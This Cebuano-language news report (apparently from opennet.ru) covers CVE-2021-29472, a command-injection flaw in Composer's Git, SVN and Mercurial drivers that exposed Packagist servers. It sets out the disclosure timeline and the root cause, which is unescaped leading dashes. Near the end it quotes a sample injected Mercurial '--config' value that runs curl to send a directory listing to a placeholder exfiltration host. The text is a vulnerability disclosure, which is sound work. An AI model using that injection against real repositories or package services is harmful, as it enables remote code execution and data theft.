Pagkahuyang sa Composer package manager nga nagtugot sa pagkompromiso sa Packagist PHP repository

Ang usa ka kritikal nga kahuyangan (CVE-2021-29472) nahibal-an sa tagdumala sa dependency sa Composer nga nagtugot sa arbitraryong mga mando nga ipatuman sa sistema kung nagproseso sa usa ka pakete nga adunay espesyal nga giporma nga kantidad sa URL nga nagtino sa adres alang sa pag-download sa gigikanan nga code. Ang problema mahitabo sa GitDriver, SvnDriver, ug HgDriver nga mga sangkap nga gigamit sa paggamit sa Git, Subversion, ug Mercurial source control system. Ang kahuyang nasulbad sa Composer releases 1.10.22 ug 2.0.13.

Partikular nga namatikdan nga ang isyu nag-una nga nakaapekto sa default package repository sa Composer, ang Packagist, nga adunay sulud nga 306 nga mga pakete alang sa mga developer sa PHP ug nagserbisyo labaw sa 1.4 bilyon nga pag-download matag bulan. Gipakita sa eksperimento nga kung adunay kahibalo sa problema, ang mga tig-atake mahimong makontrol ang imprastraktura sa Packagist ug ma-intercept ang mga kredensyal sa mga nagmintinar o i-redirect ang mga pag-download sa package sa usa ka third-party nga server, pag-organisar sa paghatud sa mga variant sa package nga adunay makadaot nga mga pagbag-o aron mapuli ang usa ka backdoor. sa panahon sa proseso sa pag-instalar sa dependency.

Ang kapeligrohan alang sa katapusan nga tiggamit limitado sa kamatuoran nga ang sulod sa composer.json kasagaran gitino sa user, ug ang tinubdan links gipasa sa diha nga access sa ikatulo nga-partido repositoryo, nga kasagaran kasaligan. Ang nag-unang hampak nahulog sa Packagist.org repository ug sa Private Packagist nga serbisyo, nga gitawag nga Composer uban sa pagbalhin sa data nga nadawat gikan sa mga tiggamit. Mahimong ipatuman sa mga tig-atake ang ilang code sa mga server sa Packagist pinaagi sa pagbutang og espesyal nga gidisenyo nga pakete.

Giayo sa grupo sa Packagist ang pagkahuyang sa sulod sa 12 ka oras pagkahuman gitaho ang pagkahuyang. Pribado nga gipahibalo sa mga tigdukiduki ang mga developer sa Packagist kaniadtong Abril 22, ug ang problema naayo sa parehas nga adlaw. Usa ka publiko nga pag-update sa Composer nga nagtubag sa pagkahuyang gipatik kaniadtong Abril 27, nga adunay mga detalye nga gipadayag kaniadtong Abril 28. Ang pag-audit sa mga log sa mga server sa Packagist wala magpadayag sa bisan unsang kadudahang kalihokan nga may kalabotan sa pagkahuyang.

Ang problema tungod sa usa ka bug sa URL validation code sa root composer.json file ug source download links. Ang sayup anaa sa code sukad sa Nobyembre 2011. Ang Packagist naggamit ug espesyal nga mga lut-od sa pag-organisar sa pag-load sa code nga wala gihigot sa usa ka piho nga sistema sa pagkontrol sa gigikanan, nga gipatuman pinaagi sa pagtawag sa "gikan saShellCommandline" ug pagpasa sa mga argumento sa command line. Pananglitan, alang sa git, ang sugo nga "git ls-remote -heads $URL" gitawag, diin ang URL giproseso gamit ang "ProcessExecutor::escape($url)" nga pamaagi, nga makalingkawas sa posibleng peligrosong mga konstruksyon sama sa "$(. ..)" o "` ...`".

Ang kinauyokan sa problema mao nga ang ProcessExecutor:: escape nga paagi wala makaikyas sa β€œ-” sequence, nga nagtugot sa bisan unsa nga dugang nga parametro sa tawag nga matino sa URL. Ang maong pag-ikyas nawala sa GitDriver.php, SvnDriver.php ug HgDriver.php nga mga drayber. Ang pag-atake sa GitDriver.php nababagan sa kamatuoran nga ang "git ls-remote" nga sugo wala mosuporta sa pagtino sa dugang nga mga argumento human sa dalan. Usa ka pag-atake sa HgDriver.php nahimong posible pinaagi sa pagpasa sa "--config" parameter sa "hq" utility, nga nagtugot kanimo sa pag-organisar sa pagpatuman sa bisan unsa nga sugo pinaagi sa pagmaniobra sa "alias.identify" nga setting. Pananglitan, sa pag-download ug pag-execute sa code pinaagi sa pagpadagan sa curl utility, mahimo nimong itakda ang: β€”config=alias.identify=!curl http://exfiltration-host.tld β€”data β€œ$(ls -alh)”

Pinaagi sa pag-post sa usa ka pakete sa pagsulay nga adunay parehas nga URL sa Packagist, gipamatud-an sa mga tigdukiduki nga pagkahuman sa pag-post, ang ilang server nakadawat usa ka hangyo sa HTTP gikan sa usa sa mga server sa Packagist sa AWS nga adunay usa ka lista sa mga file sa karon nga direktoryo.

Source: opennet.ru

Idugang sa usa ka comment